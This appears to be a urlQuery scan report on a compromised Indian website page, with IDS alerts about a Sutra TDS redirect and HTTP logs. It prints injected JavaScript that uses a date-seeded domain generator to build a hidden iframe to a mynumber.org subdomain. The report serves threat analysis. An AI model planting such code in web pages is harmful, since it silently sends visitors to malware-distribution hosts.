Overview

URLhttp://kc.rems.co.in/movie_detail.php?id=31
IP199.168.189.177
ASNAS33182 HostDime.com, Inc.
Location United States
Report completed2012-11-08 04:23:22 CET
StatusLoading report..
urlQuery Alerts Detected a Dynamic DNS URL
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:47 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:48 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:48 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:48 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:48 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:48 199.168.189.177 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-08 04:22:49 urlQuery Client 31.148.219.62ET CURRENT_EVENTS TDS Sutra - request in.cgi
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-08 04:22:48 urlQuery Client 31.148.219.61MALWARE-CNC TDS Sutra - request in.cgi


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 199.168.189.177

Date Alerts / IDS URL IP
2012-12-27 00:55:511 / 3http://remotechplctraining.com/hmi.php199.168.189.177
2012-12-26 03:30:521 / 2http://remotechplctraining.com/pneumatic.php199.168.189.177
2012-11-08 09:57:022 / 1http://www.kc.rems.co.in/gallery.php?id=48199.168.189.177
2012-11-08 09:48:132 / 2http://www.kc.rems.co.in/gallery.php?id=44199.168.189.177
2012-11-08 09:42:162 / 2http://www.kc.rems.co.in/gallery.php?id=41199.168.189.177
2012-11-08 09:40:162 / 2http://www.kc.rems.co.in/gallery.php?id=36199.168.189.177

Last 6 reports on ASN: AS33182 HostDime.com, Inc.

Date Alerts / IDS URL IP
2013-03-02 02:58:551 / 1http://nbb2.com/page2-highres.htm67.23.226.189
2013-03-02 02:32:542 / 5http://www.ciexportline.com/pages/encantada/index.html72.29.71.187
2013-03-02 02:20:381 / 0http://malukumanise.com/66.7.192.34
2013-03-02 01:47:152 / 4http://www.m3forum.net/buyersguide/200172.29.67.134
2013-03-01 22:50:101 / 2http://teamlandrovercr.com/foro/viewtopic.php?p=77372.29.78.133
2013-03-01 22:40:541 / 0http://malukumanise.com/66.7.192.34

Last 6 reports on domain: kc.rems.co.in

Date Alerts / IDS URL IP
2012-11-08 04:34:062 / 14http://kc.rems.co.in/search.php?cx=003236507415044781701:sr7cntrmf9c199.168.189.177
2012-11-08 04:30:342 / 9http://kc.rems.co.in/preview_detail.php?id=27199.168.189.177
2012-11-08 04:25:402 / 10http://kc.rems.co.in/news_detail.php?id=5199.168.189.177
2012-11-08 04:22:222 / 3http://kc.rems.co.in/events_detail.php?id=22199.168.189.177
2012-11-08 04:21:082 / 1http://kc.rems.co.in/events_detail.php?id=20199.168.189.177
2012-11-08 04:16:482 / 4http://kc.rems.co.in/events_detail.php?id=11199.168.189.177



JavaScript

Executed Scripts (45)


Executed Evals (1)

#1 JavaScript::Eval (size: 1781, repeated: 5) 

function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 3);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var letters = "qmahgwctopfjilrfpjrfcwgewheizwdw".split('');
    var str = '';
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

setInterval(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/in.cgi?14");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
            iframeWasCreated = true;
        }
    } catch (e) {
        iframeWasCreated = undefined;
    }
}, 100);

Executed Writes (3)

#1 JavaScript::Write (size: 142, repeated: 2) 

<link href="http://www.google.com/uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.css" type="text/css" rel="stylesheet"></link>

#2 JavaScript::Write (size: 89, repeated: 1) 

<script src="http://www.google.com/uds/?file=search&v=1" type="text/javascript"></script>

#3 JavaScript::Write (size: 136, repeated: 2) 

<script src="http://www.google.com/uds/api/search/1.0/8c68537a8c14de310f268bd7f81c9c67/default+en.I.js" type="text/javascript"></script>


HTTP Transactions (67)


Request Response 
GET /ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css HTTP/1.1

Host: ajax.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
 
HTTP/1.1 200 OK

Content-Type: text/css; charset=UTF-8

Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Fri, 12 Oct 2012 18:27:19 GMT
Date: Thu, 08 Nov 2012 02:46:28 GMT
Expires: Thu, 08 Nov 2012 03:46:28 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 5825
X-XSS-Protection: 1; mode=block
Age: 2178
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=3600
GET /css/gallery.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:48 GMT
Etag: &quot;478c1cb-5aa-4b0ab0cd4a000&quot;
Accept-Ranges: bytes
Content-Length: 1450
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /images/kc_logo.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:48 GMT
Etag: &quot;478002f-38d-4b0ab10682700&quot;
Accept-Ranges: bytes
Content-Length: 909
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /css/slideshow.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Wed, 09 Nov 2011 06:01:10 GMT
Etag: &quot;478c1f3-c94-4b14703b79580&quot;
Accept-Ranges: bytes
Content-Length: 3220
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /css/jquery.marquee.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:16 GMT
Etag: &quot;478c1f6-2bc-4b0ab0e7fdf00&quot;
Accept-Ranges: bytes
Content-Length: 700
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /css/jquery.fancybox-1.3.0.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:51 GMT
Etag: &quot;478c1f2-14d3-4b0ab0d0266c0&quot;
Accept-Ranges: bytes
Content-Length: 5331
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /movie_detail.php?id=31 HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Date: Thu, 08 Nov 2012 03:22:45 GMT
Server: Apache
X-Powered-By: PHP/5.3.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114; path=/
Content-Length: 39191
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /css/lytebox.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:17 GMT
Etag: &quot;478c1c7-15d6-4b0ab0e8f2140&quot;
Accept-Ranges: bytes
Content-Length: 5590
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /js/jquery.marquee.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:33 GMT
Etag: &quot;478c202-3d5e-4cde832aabe40&quot;
Accept-Ranges: bytes
Content-Length: 15710
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /style.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 08 Nov 2011 12:15:35 GMT
Etag: &quot;47686d2-9a74-4b13820e4e7c0&quot;
Accept-Ranges: bytes
Content-Length: 39540
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
GET /js/jquery.timers.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:40 GMT
Etag: &quot;478c20e-1911-4cde833158e00&quot;
Accept-Ranges: bytes
Content-Length: 6417
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /js/mbTooltip.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:40 GMT
Etag: &quot;478c205-17b2-4b0ab0c5a8e00&quot;
Accept-Ranges: bytes
Content-Length: 6066
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
GET /js/jquery.fancybox-1.3.0.pack.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:30 GMT
Etag: &quot;478c212-5243-4cde8327cf780&quot;
Accept-Ranges: bytes
Content-Length: 21059
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
GET /js/jquery.dropshadow.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:27 GMT
Etag: &quot;478c206-430b-4cde8324f30c0&quot;
Accept-Ranges: bytes
Content-Length: 17163
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /js/lytebox.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:56:41 GMT
Etag: &quot;478c20b-16d33-4b0ab0c69d040&quot;
Accept-Ranges: bytes
Content-Length: 93491
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /js/script.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 09 Nov 2011 05:57:51 GMT
Etag: &quot;478c217-290e-4b146f7db15c0&quot;
Accept-Ranges: bytes
Content-Length: 10510
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
GET /uds/?file=search&v=1 HTTP/1.1

Host: www.google.com
GET /uds/?file=search&amp;v=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Expires: Thu, 08 Nov 2012 03:22:47 GMT
Date: Thu, 08 Nov 2012 03:22:47 GMT
Cache-Control: private, max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 284
Server: GSE
GET /jsapi HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Expires: Thu, 08 Nov 2012 03:22:47 GMT
Date: Thu, 08 Nov 2012 03:22:47 GMT
Cache-Control: private, max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 6067
Server: GSE
GET /css/mbTooltip.css HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:57:17 GMT
Etag: &quot;478c1c9-308-4b0ab0e8f2140&quot;
Accept-Ranges: bytes
Content-Length: 776
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /cse/brand?form=cse-search-box&lang=en HTTP/1.1

Host: www.google.com
GET /cse/brand?form=cse-search-box&amp;lang=en HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Date: Wed, 07 Nov 2012 20:35:07 GMT
Expires: Fri, 09 Nov 2012 20:35:07 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: pfe
Content-Length: 1123
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Cache-Control: public, max-age=172800
Age: 24460
GET /js/jquery.easing.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:28 GMT
Etag: &quot;478c1fc-38e8-4cde8325e7300&quot;
Accept-Ranges: bytes
Content-Length: 14568
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
GET /js/jquery-1.6.1.min.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:46 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:04:20 GMT
Etag: &quot;478c210-17ddf-4cde831e46100&quot;
Accept-Ranges: bytes
Content-Length: 97759
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
GET /images/spacer.gif HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Tue, 01 Nov 2011 11:58:23 GMT
Etag: &quot;478009e-2b-4b0ab127e35c0&quot;
Accept-Ranges: bytes
Content-Length: 43
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
GET /js/curvycorners.src.js HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 03:22:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2012 14:03:50 GMT
Etag: &quot;478c20c-8ddf-4cde8301a9d80&quot;
Accept-Ranges: bytes
Content-Length: 36319
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
GET /Gallery/Main.jpg HTTP/1.1

Host: kc.rems.co.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://kc.rems.co.in/movie_detail.php?id=31
Cookie: PHPSESSID=df380753d3a53503d18070f34ded6114
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=iso-8859-1

Date: Thu, 08 Nov 2012 03:22:48 GMT
Server: Apache
Location: http://rems.co.in/404.html
Content-Length: 210
Keep-Alive: timeout=5, max=98
